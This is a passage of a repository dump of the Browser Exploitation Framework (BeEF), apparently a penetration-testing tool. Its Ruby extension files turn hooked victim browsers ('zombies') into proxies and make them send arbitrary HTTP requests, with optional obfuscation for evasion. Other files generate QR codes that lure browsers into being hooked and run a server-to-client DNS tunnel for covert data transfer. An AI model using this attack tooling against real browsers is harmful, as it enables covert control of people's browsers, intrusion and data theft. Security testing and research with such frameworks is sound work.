HB.where(is_proxy: true).first\n          return proxy_browser.session.to_s unless proxy_browser.nil?\n\n          hooked_browser = HB.first\n          unless hooked_browser.nil?\n            print_debug \"[Proxy] Proxy browser not set. Defaulting to first hooked browser [id: #{hooked_browser.session}]\"\n            return hooked_browser.session\n          end\n\n          print_error '[Proxy] No hooked browsers'\n          nil\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/proxy/rest/proxy.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Proxy\n      # This class handles the routing of RESTful API requests for the proxy\n      class ProxyRest < BeEF::Core::Router::Router\n        # Filters out bad requests before performing any routing\n        before do\n          config = BeEF::Core::Configuration.instance\n          @hb = BeEF::Core::Models::HookedBrowser\n\n          # Require a valid API token from a valid IP address\n          halt 401 unless params[:token] == config.get('beef.api_token')\n          halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)\n\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # Use a specified hooked browser as proxy\n        post '/setTargetZombie' do\n          body = JSON.parse(request.body.read)\n          hb_id = body['hb_id']\n\n          result = {}\n          result['success'] = false\n          return result.to_json if hb_id.nil?\n\n          hooked_browser = @hb.where(session: hb_id).first\n          previous_proxy_hb = @hb.where(is_proxy: true).first\n\n          # if another HB is currently set as tunneling proxy, unset it\n          unless previous_proxy_hb.nil?\n            previous_proxy_hb.update(is_proxy: false)\n            print_debug(\"Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy\")\n          end\n\n          # set the HB requested in /setTargetProxy as Tunneling Proxy\n          unless hooked_browser.nil?\n            hooked_browser.update(is_proxy: true)\n            print_info(\"Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy\")\n            result['success'] = true\n          end\n\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error setting browser as proxy (#{e.message})\"\n          halt 500\n        end\n\n        # Raised when invalid JSON input is passed to an /api/proxy handler.\n        class InvalidJsonError < StandardError\n          DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'.freeze\n\n          def initialize(message = nil)\n            super(message || DEFAULT_MESSAGE)\n          end\n        end\n\n        # Raised when an invalid named parameter is passed to an /api/proxy handler.\n        class InvalidParamError < StandardError\n          DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'.freeze\n\n          def initialize(message = nil)\n            str = 'Invalid \"%s\" parameter passed to /api/proxy handler'\n            message = format str, message unless message.nil?\n            super(message)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/qrcode/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        qrcode:\n            name: 'QR Code Generator'\n            enable: false\n            authors: [\"xntrik\", \"bcoles\"]\n            targets: [\"/demos/basic.html\", \"https://beefproject.com/\"]\n            qrsize: 3\n            qrborder: 1\n"
  },
  {
    "path": "extensions/qrcode/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Qrcode\n      extend BeEF::API::Extension\n\n      @short_name = 'qrcode'\n      @full_name = 'QR Code Generator'\n      @description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'\n    end\n  end\nend\n\nrequire 'extensions/qrcode/qrcode'\n"
  },
  {
    "path": "extensions/qrcode/qrcode.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Qrcode\n      module QrcodeGenerator\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start')\n\n        def self.pre_http_start(_http_hook_server)\n          require 'uri'\n          require 'qr4r'\n\n          fullurls = []\n\n          # get server config\n          configuration = BeEF::Core::Configuration.instance\n          beef_proto = configuration.beef_proto\n          beef_host  = configuration.beef_host\n          beef_port  = configuration.beef_port\n\n          # get URLs from QR config\n          configuration.get('beef.extension.qrcode.targets').each do |target|\n            # absolute URLs\n            if target.lines.grep(%r{^https?://}i).size.positive?\n              fullurls << target\n            # relative URLs\n            else\n              \n              # Retrieve the list of network interfaces from BeEF::Core::Console::Banners\n              interfaces = BeEF::Core::Console::Banners.interfaces\n\n              if not interfaces.nil? and not interfaces.empty? # If interfaces are available, iterate over each network interface\n                # If interfaces are available, iterate over each network interface\n                interfaces.each do |int|\n                  # Skip the loop iteration if the interface address is '0.0.0.0' (which generally represents all IPv4 addresses on the local machine)\n                  next if int == '0.0.0.0'\n                  # Construct full URLs using the network interface address, and add them to the fullurls array\n                  # The URL is composed of the BeEF protocol, interface address, BeEF port, and the target path\n                  fullurls << \"#{beef_proto}://#{int}:#{beef_port}#{target}\"\n                end\n              end\n\n            end\n          end\n\n          return unless fullurls.empty?\n\n          img_dir = 'extensions/qrcode/images'\n          begin\n            Dir.mkdir(img_dir) unless File.directory?(img_dir)\n          rescue StandardError\n            print_error \"[QR] Could not create directory '#{img_dir}'\"\n          end\n\n          data = ''\n          fullurls.uniq.each do |target|\n            fname = ('a'..'z').to_a.sample(8).join\n            qr_path = \"#{img_dir}/#{fname}.png\"\n            begin\n              Qr4r.encode(\n                target, qr_path, {\n                  pixel_size: configuration.get('beef.extension.qrcode.qrsize'),\n                  border: configuration.get('beef.extension.qrcode.qrborder')\n                }\n              )\n            rescue StandardError\n              print_error \"[QR] Could not write file '#{qr_path}'\"\n              next\n            end\n\n            print_debug \"[QR] Wrote file '#{qr_path}'\"\n            BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(\n              \"/#{qr_path}\", \"/qrcode/#{fname}\", 'png'\n            )\n\n            data += \"#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\\n\"\n            data += \"- URL: #{target}\\n\"\n            # Google API\n            # url = URI::Parser.new.escape(target,Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n            # w = configuration.get(\"beef.extension.qrcode.qrsize\").to_i * 100\n            # h = configuration.get(\"beef.extension.qrcode.qrsize\").to_i * 100\n            # data += \"- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\\n\"\n            # QRServer.com\n            # url = URI::Parser.new.escape(target,Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))\n            # w = configuration.get(\"beef.extension.qrcode.qrsize\").to_i * 100\n            # h = configuration.get(\"beef.extension.qrcode.qrsize\").to_i * 100\n            # data += \"- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\\n\"\n          end\n\n          print_info 'QR code images available:'\n          print_more data\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/requester/api/hook.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Extension\n    module Requester\n      module API\n        require 'uri'\n        class Hook\n          include BeEF::Core::Handlers::Modules::BeEFJS\n\n          # If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve\n          # and send them to the hooked browser.\n          def requester_run(hb, body)\n            @body = body\n            # Generate all the requests and output them to the hooked browser\n            output = []\n            print_debug hb.to_json\n            BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|\n              output << requester_parse_db_request(h)\n            end\n\n            return if output.empty?\n\n            config = BeEF::Core::Configuration.instance\n            ws = BeEF::Core::Websocket::Websocket.instance\n\n            evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')\n\n            # TODO: antisnatchor: prevent sending \"content\" multiple times.\n            #                    Better leaving it after the first run, and don't send it again.\n            # todo antisnatchor: remove this gsub crap adding some hook packing.\n\n            # If we use WebSockets, just reply wih the component contents\n            if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)\n              content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//\n              //   Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n              //   Browser Exploitation Framework (BeEF) - https://beefproject.com\n              //   See the file \\'doc/COPYING\\' for copying permission\n              //', '')\n              add_to_body output\n              if config.get('beef.extension.evasion.enable')\n                ws.send(evasion.obfuscate(content) + @body, hb.session)\n              else\n                ws.send(content + @body, hb.session)\n              end\n            # if we use XHR-polling, add the component to the main hook file\n            else\n\n              build_missing_beefjs_components 'beef.net.requester'\n              # Send the command to perform the requests to the hooked browser\n              add_to_body output\n            end\n          end\n\n          def add_to_body(output)\n            config = BeEF::Core::Configuration.instance\n\n            req = %{\n                beef.execute(function() {\n                  beef.net.requester.send(\n                    #{output.to_json}\n                  );\n                });\n              }\n\n            if config.get('beef.extension.evasion.enable')\n              evasion = BeEF::Extension::Evasion::Evasion.instance\n              @body << evasion.obfuscate(req)\n            else\n              @body << req\n            end\n          end\n\n          #\n          # Converts an HTTP db object into an Hash that follows the representation\n          # of input data for the beef.net.request Javascript API function.\n          # The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function\n          # and finally sent to and executed by the hooked browser.\n          def requester_parse_db_request(http_db_object)\n            allow_cross_origin = http_db_object.allow_cross_origin.to_s\n            verb = http_db_object.method.upcase\n            proto = http_db_object.proto.downcase\n            uri = http_db_object.request.split(/\\s+/)[1]\n            headers = {}\n\n            req_parts = http_db_object.request.split(/\\r?\\n/)\n\n            @host = http_db_object.domain\n            @port = http_db_object.port\n\n            print_debug 'http_db_object:'\n            print_debug http_db_object.to_json\n\n            # @note: retrieve HTTP headers values needed later, and the \\r\\n that indicates the start of the post-data (if any)\n            req_parts.each_with_index do |value, index|\n              @content_length = Integer(req_parts[index].split(/:\\s+/)[1]) if value.match(/^Content-Length:\\s+(\\d+)/)\n\n              @post_data_index = index if value.eql?('') || value.strip.empty? # this will be the CRLF (before HTTP request body)\n            end\n\n            # @note: add HTTP request headers to an Hash\n            req_parts.each_with_index do |value, index|\n              if verb.eql?('POST')\n                if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or post-data\n                  header_key = value.split(/: /)[0]\n                  header_value = value.split(/: /)[1]\n                  headers[header_key] = header_value\n                end\n              elsif index.positive?\n                header_key = value.split(/: /)[0]\n                header_value = value.split(/: /)[1]\n                headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version\n              end\n            end\n\n            # set default port if nil\n            if @port.nil?\n              @port = if uri.to_s =~ /^https?/\n                        # absolute\n                        uri.match(/^https:/) ? 443 : 80\n                      else\n                        # relative\n                        proto.eql?('https') ? 443 : 80\n                      end\n            end\n\n            # Build request\n            http_request_object = {\n              'id' => http_db_object.id,\n              'method' => verb,\n              'proto' => proto,\n              'host' => @host,\n              'port' => @port,\n              'uri' => uri,\n              'headers' => headers,\n              'allowCrossOrigin' => allow_cross_origin\n            }\n\n            # Add POST request data\n            if !@content_length.nil? && @content_length.positive?\n              post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length)\n              @post_data = post_data_sliced.join\n              http_request_object['data'] = @post_data\n            end\n\n            # @note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send\n            headers.each_key { |key| http_request_object['headers'][key] = headers[key] }\n\n            print_debug 'result http_request_object'\n            print_debug http_request_object.to_json\n\n            http_request_object\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/requester/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Requester\n      module RegisterHttpHandler\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')\n\n        def self.mount_handler(beef_server)\n          beef_server.mount('/requester', BeEF::Extension::Requester::Handler)\n          beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new)\n        end\n      end\n\n      module RegisterPreHookCallback\n        BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')\n\n        def self.pre_hook_send(hooked_browser, body, _params, _request, _response)\n          dhook = BeEF::Extension::Requester::API::Hook.new\n          dhook.requester_run(hooked_browser, body)\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/requester/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        requester:\n            name: 'Requester'\n            enable: false\n            authors: [\"antisnatchor\", \"scotty\"]\n"
  },
  {
    "path": "extensions/requester/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Requester\n    end\n  end\nend\n\nrequire 'extensions/requester/models/http'\nrequire 'extensions/requester/api/hook'\nrequire 'extensions/requester/handler'\nrequire 'extensions/requester/api'\nrequire 'extensions/requester/rest/requester'\n"
  },
  {
    "path": "extensions/requester/handler.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Requester\n      #\n      # The http handler that manages the Requester.\n      #\n      class Handler\n        H = BeEF::Core::Models::Http\n        Z = BeEF::Core::Models::HookedBrowser\n\n        def initialize(data)\n          @data = data\n          setup\n        end\n\n        def setup\n          # validates the hook token\n          beef_hook = @data['beefhook'] || nil\n          if beef_hook.nil?\n            print_error 'beefhook is null'\n            return\n          end\n\n          # validates the request id\n          request_id = @data['cid'].to_s\n          if request_id == ''\n            print_error 'Original request id (command id) is null'\n            return\n          end\n\n          unless BeEF::Filters.nums_only?(request_id)\n            print_error 'Original request id (command id) is invalid'\n            return\n          end\n\n          # validates that a hooked browser with the beef_hook token exists in the db\n          zombie_db = Z.where(session: beef_hook).first || nil\n          if zombie_db.nil?\n            (print_error 'Invalid beefhook id: the hooked browser cannot be found in the database'\n             return)\n          end\n\n          # validates that we have such a http request saved in the db\n          http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil\n          if http_db.nil?\n            print_error 'Invalid http_db: no such request found in the database'\n            return\n          end\n\n          # validates that the http request has not been run before\n          if http_db.has_ran.eql? 'complete'\n            (print_error 'This http request has been saved before'\n             return)\n          end\n\n          # validates the response code\n          response_code = @data['results']['response_status_code'] || nil\n          if response_code.nil?\n            (print_error 'Http response code is null'\n             return)\n          end\n\n          # save the results in the database\n          http_db.response_headers = @data['results']['response_headers']\n          http_db.response_status_code = @data['results']['response_status_code']\n          http_db.response_status_text = @data['results']['response_status_text']\n          http_db.response_port_status = @data['results']['response_port_status']\n          http_db.response_data = @data['results']['response_data']\n          http_db.response_date = Time.now\n          http_db.has_ran = 'complete'\n\n          # Store images as binary\n          # see issue https://github.com/beefproject/beef/issues/449\n          http_db.response_data = http_db.response_data.unpack('a*') if http_db.response_headers =~ /Content-Type: image/\n\n          http_db.save\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/requester/models/http.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Models\n      #\n      # Table stores the http requests and responses from the requester.\n      #\n      class Http < BeEF::Core::Model\n        #\n        # Removes a request/response from the data store\n        #\n        def self.delete(id)\n          if id.to_s !~ /\\A\\d+\\z/\n            (print_error 'Failed to remove response. Invalid response ID.'\n             return)\n          end\n          r = BeEF::Core::Models::Http.find(id.to_i)\n          if r.nil?\n            (print_error \"Failed to remove response [id: #{id}]. Response does not exist.\"\n             return)\n          end\n          r.destroy\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/requester/rest/requester.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module Requester\n      # This class handles the routing of RESTful API requests for the requester\n      class RequesterRest < BeEF::Core::Router::Router\n        # Filters out bad requests before performing any routing\n        before do\n          config = BeEF::Core::Configuration.instance\n\n          # Require a valid API token from a valid IP address\n          halt 401 unless params[:token] == config.get('beef.api_token')\n          halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)\n\n          H = BeEF::Core::Models::Http\n          HB = BeEF::Core::Models::HookedBrowser\n\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # Returns a request by ID\n        get '/request/:id' do\n          id = params[:id]\n          raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)\n\n          requests = H.find(id)\n          halt 404 if requests.nil?\n\n          result = {}\n          result[:count] = requests.length\n          result[:requests] = []\n          requests.each do |request|\n            result[:requests] << request2hash(request)\n          end\n\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving request with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Returns all requestes given a specific hooked browser id\n        get '/requests/:id' do\n          id = params[:id]\n          raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)\n\n          requests = H.where(hooked_browser_id: id)\n          halt 404 if requests.nil?\n\n          result = {}\n          result[:count] = requests.length\n          result[:requests] = []\n          requests.each do |request|\n            result[:requests] << request2hash(request)\n          end\n\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Return a response by ID\n        get '/response/:id' do\n          # super debugging\n\n          error = {}\n\n          error[:code] = 0\n\n          id = params[:id]\n          raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)\n\n          error[:code] = 1\n\n          responses = H.find(id) || nil\n          error[:code] = 2\n          halt 404 if responses.nil?\n          error[:code] = 3\n          result = {}\n          result[:success] = 'true'\n          error[:code] = 4\n\n          result[:result] = response2hash(responses)\n          error[:code] = 5\n\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving response with id #{id} (#{e.message})\"\n\n          error[:id] = id\n          error[:message] = e.message\n          error.to_json\n          # halt 500\n        end\n\n        # Deletes a specific response given its id\n        delete '/response/:id' do\n          id = params[:id]\n          raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)\n\n          responses = H.find(id) || nil\n          halt 404 if responses.nil?\n\n          result = {}\n          result['success'] = H.delete(id)\n          result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while removing response with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Send a new HTTP request to the hooked browser\n        post '/send/:id' do\n          id = params[:id]\n          proto = params[:proto].to_s || 'http'\n          raw_request = params['raw_request'].to_s\n\n          zombie = HB.where(session: id).first || nil\n          halt 404 if zombie.nil?\n\n          # @TODO: move most of this to the model\n\n          raise InvalidParamError, 'raw_request' if raw_request == ''\n\n          raise InvalidParamError, 'raw_request: Invalid request URL scheme' if proto !~ /\\Ahttps?\\z/\n\n          req_parts = raw_request.split(/ |\\n/)\n\n          verb = req_parts[0]\n          raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported' unless BeEF::Filters.is_valid_verb?(verb)\n\n          uri = req_parts[1]\n          raise InvalidParamError, 'raw_request: Invalid URI' unless BeEF::Filters.is_valid_url?(uri)\n\n          version = req_parts[2]\n          raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_http_version?(version)\n\n          host_str = req_parts[3]\n          raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_host_str?(host_str)\n\n          # Validate target hsot\n          host = req_parts[4]\n          host_parts = host.split(/:/)\n          host_name = host_parts[0]\n          host_port = host_parts[1] || nil\n\n          raise InvalidParamError, 'raw_request: Invalid HTTP HostName' unless BeEF::Filters.is_valid_hostname?(host_name)\n\n          host_port = host_parts[1] || nil\n          if host_port.nil? || !BeEF::Filters.nums_only?(host_port)\n            host_port = proto.eql?('https') ? 443 : 80\n          end\n\n          # Save the new HTTP request\n          http = H.new(\n            hooked_browser_id: zombie.session,\n            request: raw_request,\n            method: verb,\n            proto: proto,\n            domain: host_name,\n            port: host_port,\n            path: uri,\n            request_date: Time.now,\n            allow_cross_origin: 'true'\n          )\n\n          print_debug \"added new http request for #{zombie.session}\"\n          print_debug http.to_json\n\n          if verb.eql?('POST') || verb.eql?('PUT')\n            req_parts.each_with_index do |value, index|\n              http.content_length = req_parts[index + 1] if value.match(/^Content-Length/i)\n            end\n          end\n\n          http.save\n\n          result = request2hash(http)\n          print_debug \"[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}\"\n\n          # result.to_json\n        rescue InvalidParamError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while removing network host with id #{id} (#{e.message})\"\n          halt 500\n        end\n\n        # Convert a request object to Hash\n        def request2hash(http)\n          {\n            id: http.id,\n            proto: http.proto,\n            domain: http.domain,\n            port: http.port,\n            path: http.path,\n            has_ran: http.has_ran,\n            method: http.method,\n            request_date: http.request_date,\n            response_date: http.response_date,\n            response_status_code: http.response_status_code,\n            response_status_text: http.response_status_text,\n            response_port_status: http.response_port_status\n          }\n        end\n\n        # Convert a response object to Hash\n        def response2hash(http)\n          response_data = ''\n\n          unless http.response_data.nil?\n            if (http.response_data.length > (1024 * 100)) # more than 100K\n              response_data = http.response_data[0..(1024 * 100)]\n              response_data += \"\\n<---------- Response Data Truncated---------->\"\n            else\n              response_data = http.response_data\n            end\n          end\n\n          response_headers = ''\n          response_headers = http.response_headers unless http.response_headers.nil?\n\n          {\n            id: http.id,\n            request: http.request.force_encoding('UTF-8'),\n            response: response_data.force_encoding('UTF-8'),\n            response_headers: response_headers.force_encoding('UTF-8'),\n            proto: http.proto.force_encoding('UTF-8'),\n            domain: http.domain.force_encoding('UTF-8'),\n            port: http.port.force_encoding('UTF-8'),\n            path: http.path.force_encoding('UTF-8'),\n            date: http.request_date,\n            has_ran: http.has_ran.force_encoding('UTF-8')\n          }\n        end\n\n        # Raised when invalid JSON input is passed to an /api/requester handler.\n        class InvalidJsonError < StandardError\n          DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'.freeze\n\n          def initialize(message = nil)\n            super(message || DEFAULT_MESSAGE)\n          end\n        end\n\n        # Raised when an invalid named parameter is passed to an /api/requester handler.\n        class InvalidParamError < StandardError\n          DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'.freeze\n\n          def initialize(message = nil)\n            str = 'Invalid \"%s\" parameter passed to /api/requester handler'\n            message = format str, message unless message.nil?\n            super(message)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/s2c_dns_tunnel/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module ServerClientDnsTunnel\n      module API\n        module ServerClientDnsTunnelHandler\n          BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,\n                                                 BeEF::API::Server, 'pre_http_start')\n          BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,\n                                                 BeEF::API::Server, 'mount_handler')\n\n          # Starts the S2C DNS Tunnel server at BeEF startup.\n          # @param http_hook_server [BeEF::Core::Server] HTTP server instance\n          def self.pre_http_start(_http_hook_server)\n            configuration = BeEF::Core::Configuration.instance\n            zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')\n            raise ArgumentError, 'zone name is undefined' unless zone.to_s != ''\n\n            # if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen\n            listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')\n            Socket.ip_address_list.map { |x| listen = x.ip_address if x.ipv4? } if listen.to_s.empty?\n\n            port = 53\n            protocol = :udp\n            interfaces = [[protocol, listen, port]]\n            dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance\n            dns.run(listen: interfaces, zone: zone)\n\n            print_info \"Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})\"\n            info = ''\n            info += \"Zone: #{zone}\\n\"\n            print_more info\n          end\n\n          # Mounts the handler for processing HTTP image requests.\n          # @param beef_server [BeEF::Core::Server] HTTP server instance\n          def self.mount_handler(beef_server)\n            configuration = BeEF::Core::Configuration.instance\n            zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')\n            beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "extensions/s2c_dns_tunnel/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    extension:\n        s2c_dns_tunnel:\n            enable: false\n            name: 'Server-to-Client DNS Tunnel'\n            authors: ['dnkolegov','afr1ka']\n            # Define which network interface DNS server should listen. IP-address of this interface will be used in DNS answers.\n            # By default, DNS server will be started on the interface which has a highest IP-address and will listen UDP 53 port only.\n            # listen: ''\n            # Zone managed by DNS server. DNS server will not be started if zone is not specified\n            zone: ''"
  },
  {
    "path": "extensions/s2c_dns_tunnel/dnsd.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    module ServerClientDnsTunnel\n      module RubyDNS\n        class Transaction\n          def fail!(rcode, domain)\n            append_question!\n\n            @answer.rcode = if rcode.is_a? Symbol\n                              Resolv::DNS::RCode.const_get(rcode)\n                            else\n                              rcode.to_i\n                            end\n\n            return unless rcode == :NXDomain\n\n            @answer.aa = 1\n            soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create(\"ns.#{domain}\"),\n                                                     Resolv::DNS::Name.create(\"hostmaster.#{domain}\"),\n                                                     Time.now.strftime('%Y%m%d%H').to_i, 86_400, 7200, 3_600_000, 172_800)\n            @answer.add_authority(name, 3600, soa)\n          end\n        end\n      end\n\n      class Server < RubyDNS::Server\n        include Singleton\n\n        attr_accessor :messages\n\n        def initialize\n          super()\n          @lock = Mutex.new\n        end\n\n        # Starts the custom DNS server.\n        #\n        # @param options [Hash] server configuration options\n        # @option options [Array<Array>] :zone - zone manged by BeEF DNS server for data exfiltration\n        # @option options [Array<Array>] :listen - local interfaces to listen on\n        def run(options = {})\n          @lock.synchronize do\n            Thread.new do\n              EventMachine.next_tick do\n                listen = options[:listen] || nil\n                super(listen: listen)\n\n                @selfip = options[:listen][0][1]\n                @zone = options[:zone]\n                @messages = {}\n              end\n            end\n          end\n        end\n\n        # Entry point for processing incoming DNS requests.\n        #\n        # @param name [String] name of the resource record being looked up\n        # @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)\n        # @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer\n        def process(name, resource, transaction)\n          @lock.synchronize do\n            print_debug \"Received DNS request (name: #{name} type: #{format_resource(resource)})\"\n            if (format_resource(resource) != 'A') || !name.match(/#{@zone}$/)\n              transaction.fail!(:Refused, @zone)\n              return\n            end\n\n            # Parce query name in accordance with Active Directory SRV resource records\n            cid = name.split('.')[2].split('-')[2].to_i\n            bit = name.split('.')[2].split('-')[3].to_i(16)\n\n            if @messages[cid].nil?\n              transaction.fail!(:NXDomain, @zone)\n              return\n            else\n              message = @messages[cid]\n            end\n\n            if message.length <= bit\n              transaction.fail!(:NXDomain, @zone)\n              return\n            end\n\n            # If the bit is equal to 1 we should return one of the BeEF's IP addresses\n            case message[bit]\n            when '1'\n              transaction.respond!(@selfip)\n              return\n            # If the bit is equal to 0 we should return NXDomain message\n            when '0'\n              transaction.fail!(:NXDomain, @zone)\n              return\n            end\n          end\n        end\n\n        private\n\n        # Helper method that formats the given resource class in a human-readable format.\n        #\n        # @param resource [Resolv::DNS::Resource::IN] resource class\n        # @return [String] resource name stripped of any module/class names\n        def format_resource(resource)\n          /::(\\w+)$/.match(resource.name)[1]\n        end\n      end\n    